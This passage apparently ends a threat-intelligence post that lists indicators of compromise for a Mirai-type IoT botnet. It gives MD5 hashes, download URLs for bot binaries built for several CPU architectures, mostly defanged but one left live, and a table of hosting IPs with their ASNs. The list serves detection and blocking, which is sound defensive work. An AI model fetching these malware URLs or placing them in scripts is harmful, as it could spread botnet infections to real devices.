MD5\n\n```\n027d7e1cda6824bc076d0a586ea139f5\n05a485caf78eca390439b7c893c0354b\n068083b9d0820f3ac9cec10d03705649\n08e1b88305ad138a4509fb6b72ae3d31\n0a56855a6d56efe409c2b7a4c6113bcf\n0dee2c063085d0c5466137a3c32479f2\n0eecbfd368f821901f9ba758e267557a\n110ec534e1c60fc47f37739f03c1bb6a\n1111c252ee54c4a6614498e66cefb4e7\n11c1be44041a8e8ba05be9df336f9231\n121960341ab64a7e7686373dedfbc058\n128a53e447266e4d0e12adb7c0b43159\n129f41468303728b029def8dbc910e35\n177de1bf8f90cbcea50fd19c1e3e8cfe\n17b5d683d7b177760c8a2ffd749650b0\n1aba422e02f0fbff5189399e01e272d4\n21e7898b4b585b825d120c3b0fed8b8a\n242d0c9386f61c3ac9ddcdbcda724f3e\n25588d12bdbb4e4b1d946f2d5c89abf3\n273afac3320ddceb0e18671a3e878fa3\n2f066945cee892cc857d477d97d42d7c\n30c60cfb51896e5d06012ec6cf15c588\n3525d090ab1ab1739507ae1777a70b95\n37d9fd56ce685717f1180615f555754e\n3d24b9cafda55909fbfde16a5222b4d8\n3f88cbbcaa3e0b410dcdb18ddb68d4c2\n4229c19e6e5c2dc8560fae9b35841957\n45a30d656b4767bce0058f80b0895a95\n4e22d0079c18043b6d9037fb842d94ee\n58a13abe621acc532b1b6d26eb121c61\n5ed891c31bc86689cb93488f5746404a\n5fafdc3e3ed7c38a204234e0146e5663\n5fec7347f2a9a2ae798505135a61c47f\n60bb6bf05c3e7f6f13f2374511963f79\n669e5f3513ebfa9c30766da294036d6e\n6c883cf42d63a672815e38223d241662\n6e7e638d27971e060aaee1b9ae43fe4a\n76d0285f95fbee81cff81948d5a98db0\n7b08a0569506174463c83f50f8d65a8f\n84d39f46c4694e176d8734dd53a07c2c\n86072e88f28ebf357443300656c0349a\n88a39f5bb8e271f3d080a9aaa6c4a44a\n8dc36df1617d9c2be576fa02a5c24803\n8e7d774441229809c9cfa8d8705b5258\n90a63857f31714ff2c285eb6ca9af3d1\n919308996155d7a9ec2f7a25a64eb759\n91fe795b69880972e30929632d359b52\n9a63001fe8f2d2d642bc2c8310a429e0\n9c95be6e1e9927cc0171fc344fcceb71\na42550641cc709168c145b5739fca769\na579d46a571e123a9d65dcfe21910c87\na76fdf5b2f817dc1f2e3c241d552b9ae\naa469ab3eb6789104bda30c910f063f5\nb0276d96976dd6b805a02141e78df927\nb35733792393a08408773a141a94f668\nb84fb91f818a2b221833cb6499e5d345\nbd28cdf60b03fc302b0ed467b3ea7e43\nc6e9c7e7b5370441b379fd0032af4a85\ncc42951a01c07dc7034251fdcd08c778\ncce2f84c925f30ba11afd817bdae9377\nd9d2c7e131e2f19985fffe9a1f38bca1\ndb6b387ba0f1ab17785de63be55e7fb6\ndeb66817f026c50d6e78ace69db6f0e6\ne8e249712b7ad0bb92ac5ebb1d0f3378\ne9ee7ea21696c9e01257c7543d344487\neb210bc6a54c1faef3cc043d767a4c3b\necf26cb853f2d22b705334cd9acdd3c2\nf4aa925fb0d0eda1bdd4b52eecd7d870\nfdd05db406a03601b9548aa7a1d07bb6\n```\n\n\n### Downloader\n\n```\nhttp://185[.172.110.224/ab/i586\nhttp://185[.172.110.224/ab/i686\nhttp://185[.172.110.224/uc/i686\nhttp://185.225.19.57/aq/rxrg\nhttp://188[.214.30.178/arm6\nhttp://188[.214.30.178/arm7\nhttp://188[.214.30.178/bot.arm\nhttp://188[.214.30.178/bot.arm7\nhttp://188[.214.30.178/bot.mips\nhttp://188[.214.30.178/bot.mpsl\nhttp://188[.214.30.178/bot.x86\nhttp://188[.214.30.178/tn/arm\nhttp://188[.214.30.178/tn/arm7\nhttp://188[.214.30.178/tn/mips\nhttp://188[.214.30.178/tn/mpsl\nhttp://190[.115.18.144/arm6\nhttp://190[.115.18.144/arm7\nhttp://190[.115.18.144/bot.arm\nhttp://190[.115.18.144/bot.arm7\nhttp://190[.115.18.144/bot.mips\nhttp://190[.115.18.144/bot.mpsl\nhttp://190[.115.18.144/bot.x86\nhttp://190[.115.18.144/tn/arm\nhttp://190[.115.18.144/tn/arm7\nhttp://190[.115.18.144/tn/mips\nhttp://190[.115.18.144/tn/mpsl\nhttp://37[.49.226.171/bins/mirai.arm\nhttp://37[.49.226.171/bins/mirai.arm7\nhttp://37[.49.226.171/bins/mirai.mpsl\nhttp://37[.49.226.171/bins/mirai.sh4\nhttp://37[.49.226.171/bins/mirai.x86\nhttp://37[.49.226.171/mirai.arm\nhttp://37[.49.226.171/mirai.arm7\nhttp://37[.49.226.171/mirai.mpsl\nhttp://37[.49.226.171/mirai.sh4\nhttp://37[.49.226.171/mirai.x86\nhttp://64[.225.64.58/arm\nhttp://64[.225.64.58/arm5\nhttp://64[.225.64.58/arm6\nhttp://64[.225.64.58/arm7\nhttp://64[.225.64.58/bot.arm\nhttp://64[.225.64.58/bot.arm7\nhttp://64[.225.64.58/bot.mips\nhttp://64[.225.64.58/bot.mpsl\nhttp://64[.225.64.58/bot.x86\nhttp://64[.225.64.58/i586\nhttp://64[.225.64.58/i686\nhttp://64[.225.64.58/m68k\nhttp://64[.225.64.58/mips\nhttp://64[.225.64.58/mpsl\nhttp://64[.225.64.58/sh4\nhttp://64[.225.64.58/spc\nhttp://64[.225.64.58/x86\n```\n\n### IP\n```\n185.172.110.224     Netherlands    ASN206898    Server_Hosting_Pty_Ltd\n185.225.19.57       Romania        ASN39798     MivoCloud_SRL\n37.49.226.171       Netherlands    ASN208666    Estro_Web_Services_Private_Limited\n64.225.64.58        Netherlands    ASN14061     DigitalOcean,_LLC\n188.214.30.178      Romania        ASN51177     THC_Projects_SRL\n190.115.18.144      Russian        ASN262254    DANCOM_LTD\n```\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"}